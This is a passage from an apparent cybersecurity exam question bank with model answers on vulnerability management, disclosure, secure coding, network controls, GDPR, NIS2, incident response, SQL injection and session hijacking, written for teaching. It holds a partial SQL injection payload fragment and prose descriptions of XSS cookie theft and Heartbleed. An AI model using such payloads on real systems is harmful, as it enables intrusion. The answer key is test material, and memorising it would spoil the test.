(1) Discovery/Scanning: Automated scanners (Nessus, GVM/OpenVAS) and manual techniques enumerate assets, identify open services, detect known CVEs, and flag misconfigurations. Unauthenticated scans reveal externally visible exposure; authenticated scans reveal local patch state, installed software, and configuration.

(2) Prioritisation: Raw scanner output produces far more findings than any team can address simultaneously. Prioritisation weighs technical severity (CVSS score) against business context: asset criticality, internet exposure, ease of exploitation, presence of public exploits, and compensating controls. A medium-severity issue on an internet-facing login page may outrank a critical finding on an isolated development host.

(3) Remediation: Apply the appropriate fix for each finding. Options: patching (vendor fix — removes the vulnerability entirely, the gold standard), configuration change (removes exploitability without fixing underlying code), compensating control (firewall rule, WAF rule — reduces exposure without fixing root cause), component replacement (swap EOL software), or risk acceptance (documented decision that residual risk is acceptable with stated justification).

(4) Retesting: Re-run the specific checks that flagged the vulnerability after remediation is applied. If the finding no longer triggers, the remediation is verified. If it still triggers, the fix was unsuccessful or incomplete.

Why retesting is mandatory: Remediation can fail silently. A patch may not apply due to dependency conflicts. A configuration change may be overwritten by a deployment script. A developer may have misunderstood the finding. Without retesting, there is no assurance that what was reported has actually been fixed — only that someone believed they fixed it. In formal engagements, findings cannot be closed without verified retesting evidence.

Q387: What is responsible disclosure? Compare it with full disclosure and coordinated disclosure. Why does the timing of public exploit release matter?

Model Answer:

Responsible disclosure (coordinated vulnerability disclosure): A researcher who discovers a vulnerability privately notifies the vendor or affected party and gives them a reasonable time period (typically 90 days, as standardised by Google Project Zero) to develop and release a patch before publishing details publicly. The researcher and vendor coordinate to minimise the window during which users are exposed to an unpatched, publicly known vulnerability.

Full disclosure: The researcher publishes complete vulnerability details — including proof-of-concept exploit code — immediately or without waiting for a vendor patch. Rationale: forces vendors to prioritise fixes by creating public pressure; gives defenders maximum information to detect and mitigate attacks. Risk: gives attackers immediately exploitable tools before defenders can patch.

Coordinated disclosure: The researcher, vendor, and often a coordinating body (CERT/CC, national CERT) work together to develop the fix, notify affected parties, and time the public release for maximum defensive coverage before attack tools are widely available. May involve simultaneous release of patch and vulnerability details.

Why timing of public exploit release matters: The moment a working exploit is published, the barrier to exploitation drops from 'requires advanced skills to develop from scratch' to 'requires ability to run a script.' The population of attackers who can exploit a vulnerability expands dramatically — from elite researchers to script kiddies. This is why the 'N-day' window between patch release and exploit publication is critical: organisations that patch within days are protected; those that take weeks or months remain vulnerable once exploits are public. EternalBlue demonstrates the extreme case — patched in March 2017, leaked by Shadow Brokers, weaponised in WannaCry (May 2017) and NotPetya (June 2017).

Q388: What are the OWASP Secure Coding Practices? Describe five principles and explain why security must be addressed at the code level rather than relying solely on infrastructure controls.

Model Answer:

OWASP Secure Coding Practices provide a checklist of coding-level security controls that reduce vulnerabilities at the source rather than relying on downstream network or infrastructure defences.

Five principles:

- (1) Input validation: All data from untrusted sources (user input, API responses, file contents, cookies) must be validated against expected format, type, length, and range before processing. Prefer allowlisting (define what is acceptable) over blocklisting (define what to reject — attackers can always find new ways around blocklists).
- (2) Output encoding: Data output to HTML, JavaScript, SQL, shell, or other interpreters must be encoded for the target context before rendering. Prevents XSS (HTML encoding), command injection (shell escaping), and SQL injection (use parameterised queries — the structural form of SQL output encoding).
- (3) Authentication and password management: Enforce strong passwords, use multi-factor authentication for sensitive operations, use secure session management (randomised tokens, HttpOnly/Secure cookies, short lifetimes, server-side invalidation), store passwords with modern slow hashing (Argon2id, bcrypt).
- (4) Error handling and logging: Return generic error messages to users (do not leak stack traces, database error details, internal paths, or usernames). Log security-relevant events with sufficient context for investigation, but never log credentials or sensitive personal data.
- (5) Cryptographic practices: Use only approved, standard algorithms and libraries. Never implement custom cryptography. Manage keys securely. Use AEAD for encryption. Never store secrets in source code.

Why infrastructure controls are insufficient: A SQL injection vulnerability exists in the application code — it allows attacker-controlled strings to become SQL commands. A WAF may filter some payloads, but it cannot understand all variants, can be bypassed by encoding, and must be bypassed to deploy the application in the first place. The vulnerability is in the code; the only complete fix is in the code. Infrastructure controls are complementary layers, not replacements for secure coding. A correctly parameterised query cannot be bypassed by any network-level attacker.

Q389: What are the risks of storing secrets (API keys, database passwords, private keys) in source code or version control? Describe three secure alternatives.

Model Answer:

Risks of secrets in source code: (1) Version control exposure — once committed to Git, a secret persists in the entire commit history even if later deleted. Anyone with read access to the repository (current team, past

contributors, anyone if the repo is public) can retrieve it with git log. Public repositories on GitHub are continuously scanned by automated bots looking for committed secrets. (2) Logging and debugging — source code is often shared, printed, or logged in development workflows; embedded secrets propagate to every copy. (3) Build artefacts — compiled binaries and container images built from code containing secrets embed those secrets in the artefact, which may be distributed widely. (4) Insider threat amplification — secrets in code are accessible to every developer with repo access, not just those who need the secret to do their job.

Three secure alternatives:

(1) Environment variables: Secrets are injected into the runtime environment at deployment time — not stored in code. The application reads `os.environ['DB_PASSWORD']` at startup. Environment variables are configured in the deployment pipeline, infrastructure-as-code, or container orchestration (Kubernetes Secrets mounted as env vars). Still requires that the environment configuration itself is securely managed.

(2) Secrets management services: Purpose-built vaults (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) store, version, rotate, and audit access to secrets. Applications authenticate to the vault service (using a service identity, not a hardcoded credential) and retrieve secrets at runtime. Features: automatic rotation, audit logs of every access, fine-grained access policies, and short-lived dynamic credentials.

(3) External configuration files with restricted access: Secrets stored in configuration files outside the code repository, with filesystem permissions restricting read access to the application process user only. Never committed to version control. The application reads from the file path at startup. Simpler than a vault but provides no audit trail or automatic rotation.

Q390: What is network access control (NAC)? How does 802.1X port-based authentication work and why does it matter for enterprise wireless security?

Model Answer:

Network Access Control (NAC) is a set of policies and technologies that control which devices are permitted to access a network, enforcing identity verification and device compliance checks before granting network access.

802.1X port-based authentication: 802.1X is an IEEE standard for port-based network access control that operates at Layer 2 (data link), applied to both wired switch ports and wireless access points.

Three parties in 802.1X: (1) Supplicant: the device requesting network access (laptop, phone). (2) Authenticator: the network equipment enforcing access (switch port, wireless access point). (3) Authentication server: the identity provider validating credentials (typically RADIUS server backed by Active Directory or LDAP).

How it works: When a device connects to a switch port or wireless network configured for 802.1X, the port is placed in an unauthorised state — it only passes EAP (Extensible Authentication Protocol) traffic. The supplicant presents credentials (certificate, username/password, or token). These are relayed by the authenticator to the RADIUS server for validation. If authentication succeeds, the port transitions to the authorised state and normal traffic is permitted. If authentication fails, the port remains blocked.

Why it matters for wireless security: WPA2-Personal (pre-shared key) uses one password shared by all users of an access point. If that password is compromised or a user leaves the organisation, all devices must be reconfigured. WPA2/WPA3-Enterprise uses 802.1X — each user authenticates individually with their own credentials. Benefits: (1) Per-user accountability — wireless access is tied to individual identity. (2) Per-user

revocation — removing one user's account immediately revokes their wireless access. (3) Certificate-based authentication — clients verify the RADIUS server certificate, preventing evil-twin attacks where a fake AP tries to capture credentials. (4) Dynamic encryption keys — each session uses independently derived keys.

Q391: What is a next-generation firewall (NGFW)? How does it differ from a traditional stateful firewall, and what additional visibility does it provide?

Model Answer:

A traditional stateful firewall makes access decisions based on IP addresses, ports, protocols, and TCP connection state. It can permit or deny traffic between network zones but has no understanding of the applications generating the traffic or the content within allowed connections.

A next-generation firewall (NGFW) adds multiple additional inspection and control capabilities on top of stateful inspection:

(1) Deep packet inspection (DPI): Examines packet payloads beyond headers, identifying application protocols regardless of port number. A connection on port 443 might be identified as HTTPS, DNS over HTTPS, Skype, or a VPN tunnel — each requiring different policy treatment.

(2) Application identification (App-ID): Identifies the specific application (e.g., 'Facebook', 'BitTorrent', 'Dropbox', 'TLS 1.3 HTTPS') using signatures, protocol analysis, and heuristics. Enables policies like 'allow HTTPS to corporate SaaS applications; block HTTPS to file-sharing services.'

(3) User identity integration: Links traffic to user accounts (via Active Directory integration, SAML, or 802.1X authentication) rather than just IP addresses. Enables policies like 'allow Bob to access the finance application; block contractors.'

(4) Integrated IPS: Signature-based and anomaly-based intrusion detection and prevention built into the traffic inspection pipeline.

(5) SSL/TLS inspection: Decrypts, inspects, and re-encrypts TLS traffic to identify threats hidden in encrypted channels (HTTPS-based C2, malware delivery).

Difference from traditional stateful firewall: A stateful firewall permits or denies based on connection tuples (src IP, dst IP, protocol, port). An NGFW permits or denies based on application identity, user identity, and content — making security policy match business intent rather than network topology. Trade-off: NGFW requires more processing power, careful SSL inspection policy (handling certificate trust and privacy), and regular update of application signatures.

Q392: What is business email compromise (BEC)? Describe the typical attack chain and why it is particularly effective against financial controls.

Model Answer:

Business email compromise (BEC) is a targeted social engineering attack where an attacker impersonates a trusted authority — typically a senior executive (CEO, CFO), supplier, or business partner — via email to manipulate employees into authorising fraudulent financial transfers, changing payment details, or sharing sensitive information.

Typical attack chain: (1) Reconnaissance: The attacker researches the target organisation through LinkedIn, company website, financial press releases, and public records. Identifies the CFO, AP team members, regular suppliers, and typical transaction patterns. (2) Infrastructure: The attacker registers a lookalike

domain (e.g., company-finance.com vs company.com) or compromises the actual executive's email account (via credential phishing or credential stuffing). (3) The request: An email purportedly from the CEO instructs the AP team to urgently process a payment to a new bank account ('we're closing an acquisition — use this account, keep it confidential'). Or a supplier's email announces their bank account has changed — 'please update payment details for our invoices.' (4) Execution: An employee, under urgency and authority pressure, transfers funds. (5) Exfiltration: Funds are transferred through multiple accounts in different jurisdictions within hours, making recovery nearly impossible.

Why particularly effective against financial controls: (1) Authority removes scepticism — employees rarely challenge CEO instructions. (2) Urgency and secrecy prevent consultation — 'don't discuss this with anyone until the deal closes' eliminates the second opinion. (3) Email appears legitimate — if the actual account is compromised, all technical indicators (SPF, DKIM, DMARC) pass. (4) Financial processes often have exception paths for 'urgent executive requests.' (5) Losses are typically immediate and irreversible — unlike data breaches, wire fraud is not recoverable once completed. Defences: independent verification via a known phone number for any payment instruction change, mandatory dual-approval for transfers above thresholds, and out-of-band confirmation for new or changed payment details.

Q393: What is the Diffie-Hellman key exchange? Explain the discrete logarithm problem it relies on and why it enables two parties to establish a shared secret over an insecure channel.

Model Answer:

Diffie-Hellman key exchange allows two parties to establish a shared secret value over a public, untrusted channel without ever transmitting the secret itself. An eavesdropper who observes all exchanged messages cannot derive the shared secret.

Mathematical foundation: The security relies on the discrete logarithm problem — given a prime p , a generator g , and the value $g^x \bmod p$, it is computationally infeasible to find x when p is sufficiently large. Computing $g^x \bmod p$ given x is efficient (fast exponentiation); reversing it (finding x given $g^x \bmod p$) is believed to be computationally hard for large primes.

Protocol: (1) Alice and Bob agree on public parameters: a large prime p and a generator g (these can be known to everyone). (2) Alice generates a secret a , computes $A = g^a \bmod p$, and sends A to Bob. (3) Bob generates a secret b , computes $B = g^b \bmod p$, and sends B to Alice. (4) Alice computes the shared secret: $B^a \bmod p = g^{(ab)} \bmod p$. (5) Bob computes the same shared secret: $A^b \bmod p = g^{(ab)} \bmod p$. Both arrive at $g^{(ab)} \bmod p$ without either transmitting a or b .

Why an eavesdropper cannot derive the secret: The eavesdropper observes p , g , $A = g^a \bmod p$, and $B = g^b \bmod p$. To compute $g^{(ab)} \bmod p$, they would need either a or b , which requires solving the discrete logarithm problem — computing the secret exponent from the public value.

ECDHE (Elliptic Curve Diffie-Hellman Ephemeral): The same principle applied to elliptic curve groups rather than finite fields. ECDH achieves equivalent security with much smaller key sizes. The 'Ephemeral' variant generates fresh key pairs per session, providing forward secrecy. Used in TLS 1.3 as the mandatory key exchange mechanism.

Q394: What is the Heartbleed vulnerability (CVE-2014-0160)? What does it demonstrate about the relationship between implementation bugs and cryptographic security?

Model Answer:

Heartbleed was a critical vulnerability in the OpenSSL implementation of the TLS heartbeat extension. The heartbeat mechanism allows one side of a TLS connection to send a small message ('I'm alive') with a stated payload length. The receiving implementation was supposed to read the payload and send it back. The flaw: the receiver trusted the length value provided by the sender without validating that the actual payload was that long.

Exploit mechanism: An attacker sends a heartbeat request with a 1-byte payload but claims the payload is 64 KB. OpenSSL reads 1 byte of real data and then reads 65,535 additional bytes from adjacent process memory — whatever happened to be there: encryption keys, session data, usernames, passwords from other users' connections, private key material. The attacker receives this leaked memory in the heartbeat response without any authentication.

Impact: Servers could have their TLS private keys extracted without authentication. An attacker who extracted a private key could decrypt past and future traffic (if forward secrecy was not used), impersonate the server, and decrypt stored sessions. The vulnerability existed in OpenSSL for two years before discovery, meaning millions of servers were potentially compromised.

What it demonstrates about cryptographic security: The AES and TLS algorithms themselves were not broken — the mathematical security of the cryptographic primitives was intact. The vulnerability was in a C implementation that failed to validate a length field. This illustrates: (1) Algorithm security does not imply implementation security — a perfectly sound cipher can be defeated by an implementation bug in the surrounding code. (2) Memory safety is a security property — C code that trusts length values from untrusted parties without bounds checking is inherently fragile. (3) The entire system must be secure — cryptographic design, protocol design, and implementation quality are all required. (4) High-CVSS vulnerabilities can persist in widely deployed code for years — continuous expert review of security-critical implementations is necessary.

Q395: What is the GDPR's extraterritorial scope under Article 3? How does this affect non-EU companies that serve EU users?

Model Answer:

GDPR Article 3 defines when the regulation applies based on three criteria:

(1) Establishment criterion: GDPR applies to processing by a controller or processor established in the EU, regardless of whether the actual processing takes place inside the EU. A company with an EU office that processes personal data using servers in the US is still subject to GDPR.

(2) Targeting criterion (Art. 3(2)): GDPR applies to controllers and processors not established in the EU when they process personal data of data subjects in the EU in connection with: (a) offering goods or services to data subjects in the EU (regardless of payment), or (b) monitoring the behaviour of data subjects in the EU (behavioural tracking, profiling, cookies).

(3) Public international law criterion (Art. 3(3)): Applies to processing by EU member state establishments operating under international law (embassies, etc.).

Practical impact on non-EU companies: A US startup with no EU presence must comply with GDPR if it has a website in European languages, accepts EU currencies, has EU-specific pricing or marketing, or uses analytics that track EU users' behaviour. Non-compliance may result in enforcement by EU supervisory authorities (such as Ireland's DPC, France's CNIL, or Denmark's Datatilsynet). Maximum fines are 4% of global annual turnover or €20 million for serious violations.

Engineering implications: Non-EU companies serving EU users must: identify the personal data they collect from EU residents, establish a lawful basis for each processing activity, honour GDPR data-subject rights (access, erasure, portability), implement appropriate security under Article 32, appoint an EU representative (Article 27) if they regularly process EU personal data at scale, and notify EU supervisory authorities of applicable data breaches within 72 hours.

Q396: What is the right to data portability under GDPR Article 20? What are the conditions for its application and what engineering capabilities must a system provide?

Model Answer:

Article 20 gives data subjects the right to receive personal data they have provided to a controller in a structured, commonly used, and machine-readable format, and to transmit that data to another controller without hindrance.

Conditions for application: (1) The processing is based on consent or contract (not other legal bases like legitimate interests or legal obligation). (2) The processing is carried out by automated means (not manual files). Both conditions must be met simultaneously.

What 'provided' means: Data the person actively provided (account details, content they uploaded, preferences, activity data from their explicit interactions). Does not include inferred or derived data (credit scores, behavioural predictions the controller calculated).

Engineering capabilities required: (1) Export endpoint: A mechanism to export all qualifying personal data belonging to a specific authenticated user in a standard format. JSON and CSV are both acceptable; the format must be machine-readable (not a scanned PDF). (2) Data completeness: The export must include all data the person provided across all services and data stores — not just what is in the main profile table. (3) Secure delivery: The export must be delivered only to the verified account holder. Identity verification before releasing a full data export is essential — a GDPR access or portability request is a high-value social-engineering target ('please send me all data about user X'). (4) Scope documentation: A data map is required to know what data exists and where — without it, a complete export is impossible. (5) Timeliness: Requests must be fulfilled without undue delay, typically within one month (Article 12).

Q397: What is PASTA (Process for Attack Simulation and Threat Analysis)? How does it differ from STRIDE-based threat modeling and when might it be preferred?

Model Answer:

PASTA is a risk-centric, seven-stage threat modeling methodology that emphasises business risk impact, attacker simulation, and connecting technical attack paths to organisational risk management decisions.

Seven stages: (1) Define objectives: Business objectives and security/compliance requirements. (2) Define technical scope: Application components, infrastructure, dependencies, data flows. (3) Application decomposition: DFDs, use cases, trust boundaries, data flows — similar to STRIDE setup. (4) Threat analysis: Identify relevant threat actors, their capabilities and motivations, applicable threat intelligence. (5) Vulnerability and weakness analysis: Correlate design with known CVEs, CWEs, and configuration weaknesses. (6) Attack modelling: Build attack trees and attack paths connecting threats through vulnerabilities to business impact. (7) Risk and impact analysis: Score and rank attack scenarios by business impact and likelihood; determine treatment.

How it differs from STRIDE-based threat modeling: STRIDE is a structured, component-level analysis that systematically asks 'which of six threat categories could affect each element?' It is systematic and efficient for engineering teams. PASTA is a risk-analysis process that simulates attacker scenarios end-to-end and evaluates them against business impact. PASTA connects security analysis to business stakeholders by framing threats in terms of business risk rather than technical categories.

When PASTA might be preferred: When security decisions must be justified in business risk terms to executive stakeholders, when the organisation has mature threat intelligence capabilities, when building risk-quantified security road maps, or when a more scenario-driven approach is needed to prioritise a large backlog of potential issues. STRIDE is faster and more systematic for development teams performing iterative design review. PASTA is better suited for strategic risk analysis and board-level security reporting.

Q398: Compare symmetric and asymmetric encryption on six dimensions: key structure, speed, key distribution, typical use cases, examples, and main security challenge.

Model Answer:

(1) Key structure: Symmetric encryption uses the same key (or closely related keys) for encryption and decryption. Both communicating parties must possess this shared secret. Asymmetric encryption uses a mathematically linked key pair: a public key (freely shared) for encryption and a private key (kept secret by one party) for decryption.

(2) Speed: Symmetric encryption is orders of magnitude faster. AES can encrypt gigabytes per second with hardware acceleration. Asymmetric operations (RSA modular exponentiation) are typically 1,000–10,000x slower, making them impractical for bulk data encryption.

(3) Key distribution: Symmetric encryption has the key distribution problem — how do two parties who have never met securely share a key? This is the fundamental challenge of symmetric-only systems. Asymmetric encryption solves key distribution: anyone can send the public key openly, and only the private key holder can decrypt. This enables key exchange between strangers over untrusted channels.

(4) Typical use cases: Symmetric: bulk data encryption (file encryption, disk encryption, VPN traffic after handshake), database encryption, AEAD for TLS record layer. Asymmetric: key exchange (ECDHE in TLS handshake), digital signatures (certificate signing, software signing), encrypting small values (wrapping a symmetric key).

(5) Examples: Symmetric: AES-256, ChaCha20-Poly1305, 3DES (deprecated), DES (deprecated). Asymmetric: RSA, ECDSA, ECDH/ECDHE, ElGamal, DSA.

(6) Main security challenge: Symmetric: key management — securely generating, distributing, storing, rotating, and revoking keys. If the key is compromised, all data encrypted with it is exposed. Asymmetric: private key protection and public key authentication — the public key must be authenticated (certificates, PKI) to prevent substitution attacks; the private key must be protected against theft. Additionally, textbook asymmetric operations (RSA, ElGamal) are insecure without proper padding and authenticated constructions.

Q399: Compare IDS and IPS across six dimensions: position, response, false positive risk, detection methods, deployment trade-offs, and exam-relevant distinctions.

Model Answer:

(1) Position in network: IDS (Intrusion Detection System) is typically deployed out-of-band, receiving a copy of traffic via a SPAN port or network tap. It observes but does not sit in the path of traffic. IPS (Intrusion Prevention System) is deployed inline, sitting directly in the traffic path between network segments. All traffic passes through it.

(2) Response: IDS generates alerts and logs for human review. It takes no automatic network action. IPS can automatically drop packets, reset TCP connections, block source addresses, or isolate endpoints — without waiting for human approval.

(3) False positive risk: IDS false positives cost analyst time but do not impact availability. IPS false positives can block legitimate traffic, causing denial of service to benign users — a misconfigured IPS can do an attacker's work for them. This makes IPS tuning critical before deployment.

(4) Detection methods: Both use signature-based (matching known patterns) and anomaly-based (deviating from baseline) detection. Some modern implementations add behavioural analysis and threat intelligence feeds.

(5) Deployment trade-offs: IDS: zero availability impact, lower risk, but only detects — cannot stop an active attack in progress. IPS: can stop attacks in real time but requires precise tuning and reliable hardware (a failed IPS inline can take down network connectivity). Confidence in detection accuracy must be high before enabling automatic blocking.

(6) Exam-relevant distinctions: IDS = passive observer, alerts only, no traffic impact. IPS = active enforcer, can block, availability risk from false positives. The risk of attacker-triggered denial of service via IPS is real — an attacker who knows the IPS signature can deliberately trigger it against legitimate traffic. Automatic IPS reaction is most appropriate for very high-confidence detections with narrow scope (drop a specific packet, not block an entire subnet).

Q400: A company discovers that an employee's credentials were used to access the HR system from an IP address in a different country at 3am, successfully downloading the full employee database. Walk through the incident response actions in order.

Model Answer:

This scenario constitutes a confirmed data breach with personal data exfiltration. The response must proceed systematically:

(1) Immediate containment: Revoke the compromised account's active sessions and disable or reset the credentials immediately. This stops any ongoing access. If other accounts may be compromised, enforce emergency password resets for the relevant group (HR system users, administrators).

(2) Scope assessment: Determine what was accessed. Audit logs must show: which data was exported, when, from which IP, under which account. Determine whether the downloaded database has been exfiltrated only or also modified. Check whether the same credentials were used to access any other systems (HR, payroll, email, VPN). Investigate whether the account compromise is isolated or part of a wider intrusion.

(3) Root cause investigation: How were the credentials obtained? Check for phishing indicators (suspicious emails received by the employee in the preceding days), credential stuffing (check if the credentials appear in breach databases), malware (endpoint scan of the employee's device), or insider threat (was the employee acting legitimately from an unusual location?). Preserve all log evidence before any system changes.

(4) Evidence preservation: Capture and hash log files from the HR system, authentication provider, network logs, and endpoint. Preserve in tamper-evident form for potential legal proceedings or regulatory investigation.

(5) GDPR notification obligations: The exfiltrated database contains employee personal data. Under GDPR Article 33, the supervisory authority (Datatilsynet in Denmark) must be notified within 72 hours of becoming aware. Under Article 34, if the breach likely results in high risk to individuals (identity theft, financial harm from salary data exposure), affected employees must be individually notified without undue delay.

(6) Recovery and prevention: Re-enable the account only after credential reset and endpoint verification. Implement MFA on the HR system if not already present. Review HR system access controls (least privilege — do all current users need export permissions?). Conduct a post-incident review to identify detection and response gaps.

Q401: A penetration tester discovers that a company's main web application is vulnerable to SQL injection, allowing the extraction of the MD5-hashed passwords of all 50,000 users. The tester cracks 12,000 of them using rockyou.txt in 4 hours. What does this finding demonstrate about the security controls, and what must the company do immediately?

Model Answer:

This finding demonstrates multiple simultaneous security control failures:

(1) SQL injection vulnerability: The application concatenates untrusted user input directly into SQL queries. This is the root cause of the breach. Parameterised queries were either not used or were inconsistently applied. This is an OWASP A03 (Injection) failure.

(2) Inadequate password hashing: MD5 is a fast general-purpose hash function — not a password hashing algorithm. On modern hardware, billions of MD5 hashes can be computed per second. The rockyou.txt wordlist contains 14 million common passwords. Cracking 12,000 hashes in 4 hours (25%) demonstrates that MD5 makes brute-force attacks practical at scale. Proper password hashing (Argon2id, bcrypt, scrypt) with a high work factor would make cracking each hash individually take seconds to minutes, making large-scale cracking infeasible.

(3) No rate limiting or monitoring on the export: The tester was able to extract all 50,000 records through the SQL injection, suggesting no anomaly detection on unusual database query volume or large data exports.

What the company must do immediately:

Security: (1) Emergency patch: Deploy the parameterised query fix to production immediately. (2) Force password reset: All 50,000 users must reset their passwords — the cracked passwords are compromised and the uncracked ones are still at risk if the attacker runs more powerful hardware. (3) Check for credential reuse: The compromised plaintext passwords may work on other services (email, banking). Users should be advised to change passwords on any service where they reused the same password.

GDPR obligations: This is a personal data breach under GDPR. (1) 72-hour notification to supervisory authority under Article 33. (2) Likely high risk to individuals (50,000 compromised credentials could enable account takeover across other services) — communication to all affected users under Article 34 is likely required. (3) Internal documentation of the breach, its scope, and remedial actions.

Longer term: Re-hash all remaining passwords with Argon2id after forced reset. Implement MFA. Conduct a full SQL injection review of all application query points.

Q402: A developer argues: 'We don't need to worry about injection attacks because we validate all inputs before they reach the database.' Explain why this reasoning is insufficient.

Model Answer:

This reasoning conflates input validation with parameterised queries and misunderstands why validation alone cannot prevent SQL injection.

Why input validation alone is insufficient:

(1) Infinite evasion space: SQL injection payloads can be expressed in countless equivalent forms. Blocking single quotes (') misses double-encoding (%27), Unicode variants, or injection through numeric parameters that require no quotes at all (e.g., 1 UNION SELECT...). A blacklist must anticipate every current and future variant — an impossible task. An attacker has infinite time to find gaps; the defender must block all of them correctly.

(2) Legitimate data contains dangerous characters: A user named O'Brien has a single quote in their name. A blacklist that blocks single quotes breaks legitimate functionality. Allowlist validation (only permit alphanumeric) is more secure but too restrictive for names, addresses, and free-text fields.

(3) Context-specific meaning: The same character is dangerous in different ways depending on context. A semicolon is dangerous in SQL (separates statements), in shell commands (chains commands), and in CSV (separates fields). Validation logic designed for one context may miss another.

(4) Second-order injection: Input may be sanitised correctly at entry time but stored in the database and later retrieved and inserted into a new query without re-validation. A stored value that was safe at input can be dangerous when used in a second query context.

(5) Validation logic bugs: Developers writing bespoke validation are likely to make mistakes under time pressure. The validation code itself may have edge cases.

The correct approach: Parameterised queries (prepared statements) structurally separate SQL code from data — the database engine treats parameters as literal data values, never as SQL syntax. This addresses the root cause regardless of what characters the input contains. Input validation is a complementary layer that provides additional defence, but it cannot replace parameterisation as the primary control.

Q403: Explain the concept of a cryptographic commitment scheme. How does it provide both hiding and binding properties, and what is a use case in secure computation?

Model Answer:

A commitment scheme is a cryptographic protocol in which one party (the committer) produces a commitment — a value that binds them to a chosen message without revealing it — and can later open (reveal) the commitment to prove what message they originally committed to.

Two essential properties: (1) Hiding: The commitment reveals nothing about the committed value to anyone who does not know the opening information. An observer seeing only the commitment cannot determine what message was committed to. (2) Binding: Once a commitment is published, the committer cannot later claim to have committed to a different message. It is computationally infeasible to find two different messages that produce the same commitment (collision resistance).

Simple construction using hash function: $\text{Commit}(\text{message}, \text{randomness}) = H(\text{message} \parallel \text{randomness})$. The commitment is published. To open, reveal (message, randomness). The verifier checks $H(\text{message} \parallel \text{randomness}) = \text{commitment}$. Hiding: the randomness prevents hash preimage attacks on message. Binding:

collision resistance prevents finding a different message that hashes to the same commitment.

Use cases in secure computation: (1) Coin flipping: Alice and Bob want a fair random coin flip over a channel where neither trusts the other. Alice commits to a random bit, Bob reveals his bit, Alice opens her commitment. XOR of both bits is the coin. Neither party can influence the result after commitment. (2) Zero-knowledge proofs: Commitments allow a prover to convince a verifier that they know a secret value without revealing it — by committing to intermediate values and selectively opening them. (3) Electronic voting: Each voter commits to their vote, the commitments are collected and tallied in aggregate, and votes are opened only after all are submitted — preventing any party from seeing intermediate totals that would influence later voters.

Q404: What is the difference between a security audit, a vulnerability assessment, a penetration test, and a red team exercise? When is each appropriate?

Model Answer:

Security audit: A systematic review of an organisation's security policies, procedures, controls, and compliance with standards or regulations. Typically conducted by internal or external auditors. Focuses on whether controls are documented, implemented, and followed — not on whether they are technically effective. Output: audit report with compliance findings. Appropriate when: demonstrating compliance with ISO 27001, PCI-DSS, GDPR, NIS2; board-level governance reviews; pre-certification assessments.

Vulnerability assessment: Technical enumeration of weaknesses in systems — scanning for known CVEs, misconfigurations, default credentials, and exposures. Automated scanner output reviewed and prioritised by analysts. Does not demonstrate exploitability. Output: prioritised list of findings with remediation recommendations. Appropriate when: establishing a security baseline, periodic technical hygiene, covering broad asset inventory quickly, continuous monitoring programmes.

Penetration test: Authorised, scoped simulation of an attacker attempting to exploit discovered weaknesses to demonstrate real-world impact. Goes beyond discovering vulnerabilities to proving they can be exploited and showing the consequence (data accessed, privilege gained). Output: impact-focused report with exploitation evidence. Appropriate when: validating that critical systems are resistant to motivated attackers, pre-deployment security assurance for new systems, regulatory requirements (PCI-DSS requires annual pen tests), incident validation.

Red team exercise: A more extensive, adversary-simulation exercise where a specialised team (the 'red team') attempts to achieve specific business-impact objectives (exfiltrate sensitive data, compromise executive systems, disrupt operations) using real attacker tactics over an extended period, often with limited knowledge sharing with the defending team ('blue team'). Tests organisational detection and response, not just technical controls. Appropriate when: mature security organisations that have addressed basic technical vulnerabilities; testing SOC detection capability; simulating nation-state or sophisticated adversaries; regulatory requirements for advanced testing (TIBER-EU for financial sector).

Q405: What is the NIS2 Directive? How does it differ from the original NIS Directive, and what cybersecurity obligations does it impose on covered entities?

Model Answer:

NIS2 (Directive (EU) 2022/2555 on the security of network and information systems) is the European Union's updated cybersecurity legislation for critical sectors, replacing the original NIS Directive (2016). It entered into force in January 2023 and required national transposition by October 2024.

Key differences from NIS1: (1) Expanded scope: NIS2 covers more sectors (energy, transport, banking, financial markets, health, drinking water, wastewater, digital infrastructure, ICT service management, public administration, space) and introduces new categories ('important entities' alongside 'essential entities'). (2) Stricter minimum measures: NIS2 specifies a list of required cybersecurity measures rather than leaving them vague. (3) Stronger enforcement: Increased maximum fines (up to €10 million or 2% of global turnover for essential entities; €7 million or 1.4% for important entities). (4) Management accountability: Senior management can be held personally liable for failures to implement required measures. (5) Supply chain security: Explicit requirements for assessing and managing security risks in the supply chain and from ICT service providers. (6) Faster incident reporting: 24-hour early warning for significant incidents (vs 72 hours in NIS1), with a fuller notification within 72 hours.

Cybersecurity obligations for covered entities: Risk management measures covering: incident handling; business continuity (backup management, disaster recovery, crisis management); supply chain security; network and information system security; policies and procedures for assessing effectiveness; cybersecurity training; cryptography policies; human resources security; access control and asset management; use of MFA; secure communications. Vulnerability handling and disclosure policies. Regular testing of security measures.

Practical meaning: NIS2 makes penetration testing, vulnerability management, and security monitoring formal legal requirements for a large set of EU organisations — not optional best practices.

Q406: What is session hijacking? Describe four methods an attacker can use to steal or take over a session, and five cookie security attributes that mitigate them.

Model Answer:

Session hijacking is the unauthorised takeover of an authenticated user's active session. Because web applications use session tokens to identify logged-in users, an attacker who obtains a valid token can impersonate that user without knowing their password — bypassing login-page authentication entirely.

Four methods to steal or take over sessions:

(1) XSS-based cookie theft: Injected JavaScript calls `document.cookie` and exfiltrates the session cookie to an attacker-controlled server. The victim merely visits a page containing the payload.

(2) Network interception (MITM): On unencrypted HTTP connections or via ARP spoofing on a local network, the attacker reads session cookies from HTTP headers in transit. Even on HTTPS, ARP spoofing combined with SSLstrip can downgrade the connection.

(3) Malware / browser credential theft: Spyware or infostealer malware reads browser cookie databases directly from disk or hooks browser APIs to capture cookies from memory as they are used.

(4) Session fixation: The attacker sets a known session token in the victim's browser (e.g., via a URL parameter on an unprotected login page), then waits for the victim to authenticate. The server authenticates the victim but keeps the attacker-chosen token, which the attacker can now use.

Five cookie security attributes:

`HttpOnly`: Prevents JavaScript from reading the cookie via `document.cookie`, directly defeating XSS-based theft. `Secure`: Cookie transmitted only over HTTPS, preventing interception on unencrypted connections. `SameSite=Strict`: Cookie not sent on cross-site requests, mitigating CSRF and reducing XSS exfiltration paths. `Short Max-Age/Expires`: Limits the window of opportunity if a token is stolen. `__Host-` prefix: Forces the cookie to be Secure, with no Domain attribute, and `Path=/`, preventing subdomain hijacking attacks.

Additional server-side practice: regenerate session tokens after authentication (defeats session fixation), implement server-side session invalidation on logout, and detect anomalous session use (impossible travel, concurrent sessions).

Q407: What is end-of-life (EOL) software? Why does it create permanent, unresolvable security risk, and what are the four legitimate options when an organisation cannot immediately replace it?

